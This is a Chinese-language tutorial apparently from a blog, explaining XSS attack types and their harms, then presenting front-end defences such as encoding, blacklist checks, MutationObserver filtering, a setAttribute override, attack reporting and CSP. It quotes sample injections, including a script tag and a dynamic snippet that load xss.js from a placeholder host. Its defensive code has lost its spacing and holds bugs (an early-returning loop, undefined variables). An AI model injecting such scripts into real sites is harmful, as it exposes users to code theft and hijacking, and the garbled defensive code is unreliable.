SS/跨站腳本攻擊,是一種代碼注入網(wǎng)頁攻擊,攻擊者可以將代碼植入到其他用戶都能訪問到的頁面(如論壇、留言板、貼吧等)中。
如今,XSS 攻擊所涉及的場景愈發(fā)廣泛。越來越多的客戶端軟件支持 html 解析和 JavaScript 解析,比如:HTML 文檔、XML 文檔、Flash、PDF、QQ、一些音樂播放器以及瀏覽器的功能界面等。這些用戶經(jīng)常使用的場景往往都是 XSS 攻擊的高發(fā)地帶。
一、XSS攻擊類型
1. 存儲型XSS(持久型)

攻擊者在表單內(nèi)提交惡意 js 代碼 ( 如?<script>alert('hello')</script>?),網(wǎng)站后端對提交數(shù)據(jù)不做任何安全處理,直接存儲在數(shù)據(jù)庫中。當(dāng)其他用戶訪問這個(gè)已被攻擊的網(wǎng)站,js 代碼攻擊就會被觸發(fā)。這個(gè)類型的 XSS 攻擊會存儲在數(shù)據(jù)庫中,持續(xù)時(shí)間長,影響范圍大。
2. 反射型XSS(非持久型)

反射型 XSS 攻擊,是正常用戶請求一個(gè)非法資源時(shí)觸發(fā)的攻擊。此類型攻擊通常需要用戶主動(dòng)去訪問帶攻擊的鏈接,一旦點(diǎn)開了鏈接,大概率被成功攻擊(比如:我有一部電影資源,請點(diǎn)擊?http://xxxxx?下載)。
3. DOM XSS

基于 DOM 的 XSS 攻擊是反射型攻擊的變種。服務(wù)器正常返回?cái)?shù)據(jù),其攻擊在于正常用戶進(jìn)行某種操作 ( js 操作) 時(shí),觸發(fā)攻擊者的 URL 攻擊代碼,服務(wù)器難以檢測出這是否為非法請求。
二、XSS攻擊的危害
掛馬;
盜取用戶cookie;
DoS(拒絕服務(wù))客戶端瀏覽器;
釣魚攻擊,高級釣魚技巧;
編寫針對性的 XSS 病毒,刪除目標(biāo)文章、惡意篡改數(shù)據(jù)、嫁禍;
劫持用戶 Web 行為, 進(jìn)一步滲透內(nèi)網(wǎng);
爆發(fā) Web2.0 蠕蟲;
蠕蟲式的 DDoS 攻擊;
蠕蟲式掛馬攻擊、刷廣告、刷流量、破壞網(wǎng)上數(shù)據(jù)
……
三、JavaScript攔截
隨著互聯(lián)網(wǎng)發(fā)展,XSS 攻擊涉及場景越大,其造成的危害隨之?dāng)U大。攔截與防護(hù)的關(guān)鍵,重中之重當(dāng)然是從后端入手。然而,這并不意味著網(wǎng)頁前端無需進(jìn)行相應(yīng)的攔截。前后端共同攔截,網(wǎng)站應(yīng)對 XSS 攻擊的防護(hù)才會更加周全。接下來,本文將淺析前端的 XSS 攻擊攔截。
XSS 攻擊簡單來說就是代碼的注入,特指惡意用戶輸入惡意程序代碼。為了防范這類代碼的注入,網(wǎng)站需要確保其用戶輸入的安全性。對于攻擊驗(yàn)證,可以采用以下措施:
> 1.?編碼,即轉(zhuǎn)義用戶的輸入,把用戶的輸入解讀為數(shù)據(jù)而不是代碼; > 2. 校驗(yàn),對用戶的輸入及請求一律進(jìn)行黑名單過濾檢查,如對特殊字符進(jìn)行過濾,設(shè)置輸入域的匹配規(guī)則等,主要針對三類注入:內(nèi)聯(lián)事件及內(nèi)聯(lián)腳本、靜態(tài)腳本、動(dòng)態(tài)腳本; > 3. 建立上報(bào)攻擊信息,對攻擊者攻擊信息進(jìn)行分析,增強(qiáng)黑名單。
1. 編碼
在客戶端使用 JavaScript 對用戶輸入進(jìn)行編碼時(shí),有一些內(nèi)置的方法和屬性可以在自動(dòng)感知上下文的情況下,對所有的輸入數(shù)據(jù)進(jìn)行編碼。
一些自動(dòng)編碼的方法可參考下表:
上下文方法
html元素例:<div>userinput</div>?
→?node.textContent = userInput
html屬性例:<input value="userInput">?
→?node.setAttribute(attr,userInput)
URL查詢值例:http://example.com/?parameter=userInput?
→?encodeURIComponent(userInput)
CSS值例:color: userInput?
→?Node.style.property=userInput
2. 內(nèi)聯(lián)事件及內(nèi)聯(lián)腳本
一些比較常見的注入方式,大部分都是?javascript:...?及內(nèi)聯(lián)事件?on*?。如:
類似這種注入,我們需要在瀏覽器觸發(fā)點(diǎn)擊事件前,對?javascript:...?內(nèi)容進(jìn)行黑名單判斷,以實(shí)現(xiàn)防護(hù)效果。對于?on*?也是一樣,可以使用?addEventListener?防護(hù)內(nèi)聯(lián)事件注入:
// 定義 黑名單 策略varblackList = ['xss','flow..'];// 黑名單匹配functionblackMatch(blackList, value){if(!blackList)returnfalse;for(vari=0; i <? blackList.length; i++) {varreg =newRegExp(blackList[i],'i');if(reg.test(value)) {returntrue;? ? }else{returnfalse;? ? } }document.addEventListener('click',function(e){varel = e.target;//查找 a標(biāo)簽 <a href="javascript:">if(el.tagName ==='A'&& el.protocol ==='javascript:') {varcode = el.href.substr(11);if(blackMatch(blackList, code)) {//非法輸入elem.href ='javascript:void(0)';? ? ? ? }? ? } },true)
3. 靜態(tài)腳本
通常,攻擊者會向頁面中注入一個(gè)靜態(tài)腳本鏈接,比如,注入?<scriptsrc="http: xxx xss.js">。對于這類注入,我們需要在腳本執(zhí)行前找出可疑腳本,并銷毀掉。此處可使用?MutationObserver?高級 api,在頁面加載變化時(shí),對靜態(tài)腳本文件進(jìn)行監(jiān)控:
// Mutation 監(jiān)聽DOM樹變化varobserver =newMutationObserver(function(mutations){? ? mutations.forEach(function(mutation){// 添加節(jié)點(diǎn)數(shù)varnodes = mutation.addedNodes;for(vari =0; i <= nodes.length -1; i++) {varnode = nodes[i];//blacklist 黑名單策略列表if(blackMatch(blackList, code)) {? ? ? ? ? ? ? ? node.parentNode.removeChild(node);console.log('發(fā)現(xiàn)可疑模塊:', node);? ? ? ? ? ? }? ? ? ? }? ? }); });// 當(dāng)頁面元素節(jié)點(diǎn)添加和刪除操作會被觀察到observer.observe(document, {subtree:true,childList:true});
4. 動(dòng)態(tài)腳本
除上述靜態(tài)腳本外,攻擊者還經(jīng)常使用動(dòng)態(tài)腳本注入,而且?MutationObserver?api 無法監(jiān)聽 DOM 的變化,攻擊腳本依舊會執(zhí)行。比如:
varscript =document.createElement('script'); script.setAttribute('type','text/javascript'); script.setAttribute('src','http://xxxxx/xss.js');document.getElementsByTagName('body')[0].appendChild(script)
這種注入方式,可能需要使用原生的?setAttribute?方法,來監(jiān)聽?src?屬性的值,再通過黑名單判斷它是否具有合法性,重寫?setAttribute?接口來實(shí)現(xiàn)防護(hù):
varold_setAttribute = Element.prototype.setAttribute;// 重寫 setAttribute 接口Element.prototype.setAttribute =function(name, value){if(this.tagName =='SCRIPT'&&/^src$/i.test(name)) {// 黑名單判斷if(blackMatch(blackList, value)) {console.log('發(fā)現(xiàn)可疑模塊:', value);return;? ? }? }? old_setAttribute.apply(this,arguments); };
5. 上報(bào)攻擊信息
上述幾種前端防護(hù)均需要黑名單庫進(jìn)行判斷,然而如何才能增強(qiáng)黑名單呢?
我們需要將攻擊者每次的攻擊信息收集起來,并發(fā)送到服務(wù)器進(jìn)行分析、處理。這樣一來,不僅可以增強(qiáng)黑名單,還能根據(jù)收集到的信息設(shè)計(jì)針對性措施。
可定義一個(gè)上報(bào)函數(shù),使用 node 接收攻擊信息。其結(jié)果如下:
functionhijackReport(name, value){varimg =document.createElement('img'),? ? hijackName = name,? ? hijackValue = value.toString(),? ? curDate =newDate().getTime();// 上報(bào)img.src ='http://192.168.1.3:3002/report/?msg='+ hijackName +'&value='+ hijackValue +'&time='+ curDate; }
在此,有一個(gè)防 XSS 攻擊的庫可供學(xué)習(xí)了解。

Tips - Content Security Policy (CSP)
使用驗(yàn)證來防止 XSS 攻擊的缺陷在于,只要存在一絲漏洞,就會使網(wǎng)站遭到攻擊,而?Content Security Policy (CSP)?的標(biāo)準(zhǔn)則能夠降低這一風(fēng)險(xiǎn)。
(張杰 | 天存信息)
Ref
《Web前端黑客技術(shù)揭秘》 - 鐘晨鳴
‘JavaScript防http劫持與XSS’ - shanyezi
https://github.com/leizongmin/js-xss
</scriptsrc="http:></a></div></div>